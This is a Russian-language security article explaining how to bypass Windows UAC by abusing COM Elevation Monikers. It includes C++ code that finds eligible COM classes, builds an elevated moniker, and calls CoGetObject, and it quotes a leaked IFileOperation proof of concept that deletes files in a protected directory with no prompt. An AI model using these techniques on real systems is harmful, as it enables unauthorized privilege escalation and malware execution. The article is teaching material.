Ме­ханизм User Account Control в Windows не дает поль­зовате­лю взять и запус­тить мал­варь от лица адми­нис­тра­тора. Впро­чем, сис­тема любез­но пре­дус­мотре­ла механизм Elevation Moniker, что­бы упростить жизнь хакерам. В этой статье мы раз­берем, как исполь­зовать монике­ры для обхо­да UAC. Всё по‑взрос­лому! На жес­тком C++ с интерфей­сами.

Моникеры

Пер­вым делом отме­тим, что монике­ры — один из кир­пичиков под­систе­мы COM (Component Object Model). С помощью COM раз­работ­чики могут соз­давать такие прог­рам­мные ком­понен­ты, которые спо­соб­ны вза­имо­дей­ство­вать друг с дру­гом в самых раз­ных плос­костях. Нап­ример, с помощью COM мож­но из кода Visual Basic дер­гать сбор­ку .NET и наобо­рот! А что ты дума­ешь по поводу связ­ки прог­рамм на Go и C++?

Здесь есть сер­вер — им счи­тает­ся тот, кто пре­дос­тавля­ет фун­кции COM, — и кли­ент — тот, кто обра­щает­ся к фун­кци­ям сер­вера. Воз­можнос­ти сер­вера COM про­писы­вают­ся в клас­се COM. При обра­щении к сер­веру COM соз­дает­ся экзем­пляр клас­са COM, и кли­ент получа­ет этот экзем­пляр. Пос­ле чего может вза­имо­дей­ство­вать с сер­вером.

Ко­неч­но, уже опыт­ные сме­шари­ки ска­жут, что в дей­стви­тель­нос­ти идет работа с интерфей­сами: сер­вер зачас­тую отда­ет мар­шализи­рован­ный интерфейс, через который будет про­исхо­дить вза­имо­дей­ствие, а еще меж­ду кли­ентом и сер­вером висит прок­си, стаб, апар­тамен­ты, RPC... Впро­чем, такие под­робнос­ти не нуж­ны. Пока дос­таточ­но понимать, что есть сер­вер и кли­ент COM. Их вза­имо­дей­ствие про­исхо­дит через экзем­пляр клас­са COM, в котором опре­деле­ны некие воз­можнос­ти.

Изу­чить базу про COM мож­но в статье Inside COM+: Base Services или в офи­циаль­ной докумен­тации.

Для соз­дания экзем­пля­ра клас­са COM (про­цесс инстан­цирова­ния) тре­бует­ся спе­циаль­ное зна­чение CLSID (Class Identifier). Оно однознач­но иден­тифици­рует класс COM, к которо­му хочет обра­тить­ся кли­ент. Помимо того, само соз­дание объ­екта COM реали­зовы­вало порож­дающий пат­терн про­екти­рова­ния, называ­емый фаб­рикой.

Все с этим нор­маль­но жили и не тужили, одна­ко в один момент захоте­ли изба­вить­ся от обя­затель­ного исполь­зования CLSID и фаб­рики. Хотелось сде­лать всё так, что­бы объ­ект находил­ся как‑нибудь сам, авто­мати­чес­ки, по минималь­ному обще­му вход­ному набору дан­ных.

И тог­да на помощь приш­ли монике­ры. Они поз­воля­ют иден­тифици­ровать кон­крет­ный объ­ект COM (или даже пол­ноцен­но его реали­зовать) по прос­той стро­ке (moniker string). Эда­кая стро­ковая пре­зен­тация объ­екта СОМ.

Про­цесс инстан­цирова­ния объ­екта COM из монике­ра называ­ется акти­ваци­ей или же свя­зыва­нием монике­ра (Binding). Моникер обла­дает дос­таточ­ной информа­цией, что­бы най­ти и акти­виро­вать нуж­ный объ­ект СОМ. Эту информа­цию моникер получа­ет один раз, во вре­мя сво­его соз­дания — в виде стро­ки, фор­мат которой он понима­ет. Поз­же менять эту информа­цию уже нель­зя. Поэто­му моникер, будучи однажды соз­данным, всег­да находит и акти­виру­ет один и тот же объ­ект.

Мо­нике­рами счи­тают­ся все объ­екты, которые реали­зуют интерфейс IMoniker. Воз­врат кли­енту объ­екта COM про­исхо­дит в фун­кции IMoniker::BindToObject().

HRESULT BindToObject(
[in] IBindCtx *pbc,
[in] IMoniker *pmkToLeft,
[in] REFIID riidResult,
[out] void **ppvResult
);

Подвиды моникеров

Мо­нике­ры делят­ся на два под­вида:

Да­же сис­темных монике­ров очень мно­го. Мы оста­новим­ся на одном кон­крет­ном: Elevation Moniker. Этот моникер поз­воля­ет акти­виро­вать объ­ект COM в кон­тек­сте повышен­ных при­виле­гий. С помощью это­го монике­ра хакер спо­собен из про­цес­са со сред­ним уров­нем целос­тнос­ти получить дос­туп к объ­екту COM, рас­положен­ному в про­цес­се с высоким уров­нем целос­тнос­ти, а затем, зло­упот­ребляя воз­можнос­тями это­го объ­екта, выб­рать­ся в при­виле­гиро­ван­ный про­цесс.

По­мимо это­го, сущес­тву­ют Session Moniker, с их помощью кли­ент может инстан­цировать объ­ект COM в чужой сес­сии. На этом был осно­ван экс­пло­ит COM Session Moniker EOP. Впро­чем, о нем погово­рим в сле­дующей статье.

Для успешно­го бай­паса UAC нуж­но соб­людение нес­коль­ких усло­вий:

Нач­нем со вто­рого пун­кта.

Регистрация Elevation Moniker

Класс COM (его поле RunAs) дол­жен иметь зна­чение The Launching User (это зна­чение дефол­тное, при­меня­ется в том чис­ле, если поле RunAs пус­тое) либо Activate As Activator. Если зна­чение дру­гое, то при попыт­ке забин­дить­ся к монике­ру получим ошиб­ку CO_E_RUNAS_VALUE_MUST_BE_AAA.

Пред­лагаю рас­смат­ривать на при­мере клас­са COM, который соот­ветс­тву­ет всем тре­бова­ниям. Вот его CLSID:

{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

Зна­чение RunAs ука­зыва­ется для AppID, поэто­му сна­чала выч­леня­ем AppID для CLSID.

Получение AppID по CLSID
По­луче­ние AppID по CLSID

Вот как это выг­лядит в коде:

DWORD GetAppIdFromClsid(IN std::wstring clsid, OUT std::wstring& appId)
{
HKEY hClsidKey;
std::wstring clsidSubKey = L"CLSID\" + clsid;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, clsidSubKey.c_str(), 0, KEY_READ, &hClsidKey) != ERROR_SUCCESS)
{
return ERROR_OPEN_FAILED;
}
TCHAR valueBuffer[256];
DWORD valueBufferSize = sizeof(valueBuffer);
if (RegQueryValueEx(hClsidKey, L"AppID", NULL, NULL, (LPBYTE)valueBuffer, &valueBufferSize) == ERROR_SUCCESS)
{
appId = valueBuffer;
}
RegCloseKey(hClsidKey);
return ERROR_SUCCESS;
}

Пос­ле чего про­веря­ем ключ AppID.

RunAs нет. Значит, The Launching User
RunAs нет. Зна­чит, The Launching User

Сле­дующим шагом нуж­но убе­дить­ся в наличии клю­ча LocalizedString, в котором будет путь к целевой DLL с фун­кци­ями COM. Если такой записи нет, акти­вация воз­вра­щает ошиб­ку CO_E_MISSING_DISPLAYNAME.

Ключ LocalizedString
Ключ LocalizedString

В под­папоч­ке Elevation лежит ключ IconReference, ука­зыва­ющий на зна­чок при­ложе­ния. Здесь -101 — иден­тифика­тор ресур­са, а Enabled — раз­решить ли исполь­зовать этот COM-класс с Elevation Moniker.

Папочка Elevation
Па­поч­ка Elevation

Ес­ли какая‑то запись отсутс­тву­ет, то акти­вация воз­вра­щает ошиб­ку CO_E_ELEVATION_DISABLED. Обра­ти вни­мание, что эти записи дол­жны сущес­тво­вать в вет­ке HKEY_LOCAL_MACHINE, а не в вет­ке HKEY_CURRENT_USER или HKEY_USERS. Это не поз­воля­ет обыч­ным поль­зовате­лям регис­три­ровать COM-клас­сы, которые мож­но исполь­зовать с Elevation Moniker.

Для авто­мати­зации поис­ка клас­сов COM, под­ходящих для исполь­зования с Elevation Moniker, я соз­дал прог­рамму WinCOMFuzzer.

Пример использования
При­мер исполь­зования

Пос­ле чего получим спи­сок CLSID, которые мож­но отдать в OleViewDotNet и про­верить пос­леднее зна­чение: Auto Approval. Если оно уста­нов­лено в True, то при повыше­нии уров­ня целос­тнос­ти через Elevation Moniker не появит­ся окош­ко UAC.

Проверка значения Enabled и Auto Approval
Про­вер­ка зна­чения Enabled и Auto Approval

Ес­ли эти тре­бова­ния соб­людены, то мож­но себе поап­лодиро­вать — мы наш­ли класс COM, под­ходящий под Elevation Moniker.

Использование Elevation Moniker

Elevation Moniker — это стан­дар­тный моникер COM. Он отправ­ляет зап­рос акти­вации на сер­вер COM с ука­зан­ным уров­нем повыше­ния. CLSID, который нуж­но акти­виро­вать, надо про­писать в стро­ке монике­ра.

Elevation Moniker под­держи­вает сле­дующие уров­ни повыше­ния:

Син­таксис монике­ра сле­дующий:

Elevation:Administrator!new:{guid}
Elevation:Highest!new:{guid}

Здесь guid — CLSID клас­са COM, уста­нов­ленный сог­ласно тре­бова­ниям, опи­сан­ным выше.

От­мечу, что здесь исполь­зует­ся спе­циаль­ное сло­во new, которое поз­воля­ет при при­вяз­ке к монике­ру получить экзем­пляр его клас­са. Внут­ри вызыва­ется IClassFactory с пос­леду­ющим вызовом IClassFactory::CreateInstance().

По­мимо это­го, есть воз­можность раз­добыть ука­затель на фаб­рику, что­бы получить инстанс вруч­ную. В таком слу­чае исполь­зует­ся клю­чевое сло­во clsid. Ты получишь объ­ект клас­са, который реали­зует IClassFactory. Затем вызыва­ющая сто­рона дер­гает CreateInstance(), что­бы получить экзем­пляр объ­екта. Выг­лядит это так:

Elevation:Administrator!clsid:{guid}

В сле­дующем при­мере кода показа­но, как исполь­зовать Elevation Moniker. Не забудь до это­го в потоке выз­вать CoInitialize()!

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

В качес­тве hwnd мож­но переда­вать NULL, COM в таком слу­чае авто­мати­чес­ки вызовет GetActiveWindow(), что­бы най­ти хендл окна, свя­зан­ного с текущим потоком.

Примеры COM-объектов

ICMLuaUtil

Это один из самых популяр­ных экс­пло­итов для обхо­да UAC с помощью Elevation Moniker, PoC ты най­дешь на GitHub. В коде мож­но явно наб­людать CLSID, который мы иссле­дова­ли ранее, а так­же Elevation Moniker, еще не ини­циали­зиро­ван­ный.

Используемые значения
Ис­поль­зуемые зна­чения

В свою оче­редь, этот класс COM в интерфей­се ICMLuaUtil реали­зует метод ShellExec(). Из его наз­вания понят­но, что он свя­зан с исполне­нием команд. Запуск экс­пло­ита с пос­леду­ющим инстан­цирова­нием клас­са COM через Elevation Moniker и вызов ShellExec() поз­воля­ет исполнить коман­ды в при­виле­гиро­ван­ном кон­тек­сте.

Вызов метода
Вы­зов метода

Кста­ти, этот метод исполь­зовал шиф­роваль­щик LockBit для обхо­да UAC.

IFileOperation

Пред­лагаю обра­тить­ся к утеч­кам WikiLeaks. Из них нам ста­ло извес­тно о COM-объ­екте, который поз­воля­ет выпол­нять фай­ловые опе­рации, не вызывая окош­ка UAC. В час­тнос­ти, PoC пре­дос­тавля­ет воз­можность уда­ления про­изволь­ных фай­лов.

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, void **ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMon[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintfW(wszMon, sizeof(wszMon)/sizeof(wszMon[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMon, &bo, riid, ppv);
}
void ElevatedDelete()
{
MessageBox(NULL, "DELETING", "TESTING", MB_OK);
// This is only availabe on Vista and higher
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
IFileOperation *pfo;
hr = CoCreateInstanceAsAdmin(NULL, CLSID_FileOperation, IID_PPV_ARGS(&pfo));
pfo->SetOperationFlags(FOF_NO_UI);
IShellItem *item = NULL;
hr = SHCreateItemFromParsingName(L"C:\\WINDOWS\\TEST.DLL", NULL, IID_PPV_ARGS(&item));
pfo->DeleteItem(item, NULL);
pfo->PerformOperations();
item->Release();
pfo->Release();
CoUninitialize();
}

Од­нако ин­терфейс пре­дос­тавля­ет методы и для ко­пиро­вания фай­лов, и для соз­дания.

Ко­неч­но, это не такой прос­той при­мер, ведь мы не можем нап­рямую исполнять коман­ды, у нас есть лишь воз­можнос­ти, свя­зан­ные с фай­ловыми опе­раци­ями. Впро­чем, их мож­но сов­местить с SymLinks Abuse, что­бы добить­ся при­виле­гиро­ван­ного шел­ла.

Выводы

Иног­да сами раз­работ­чики зак­ладыва­ют в свои прог­раммы фун­кции, похожие на пол­ноцен­ный бэк­дор. Нуж­но искать лазей­ки и обхо­ды, и ты их, воз­можно, най­дешь. Если хочешь поп­ракти­ковать­ся в обхо­де UAC с помощью Elevation Moniker, то обра­ти вни­мание на интерфейс IColoDataProxy, на него еще нет поков!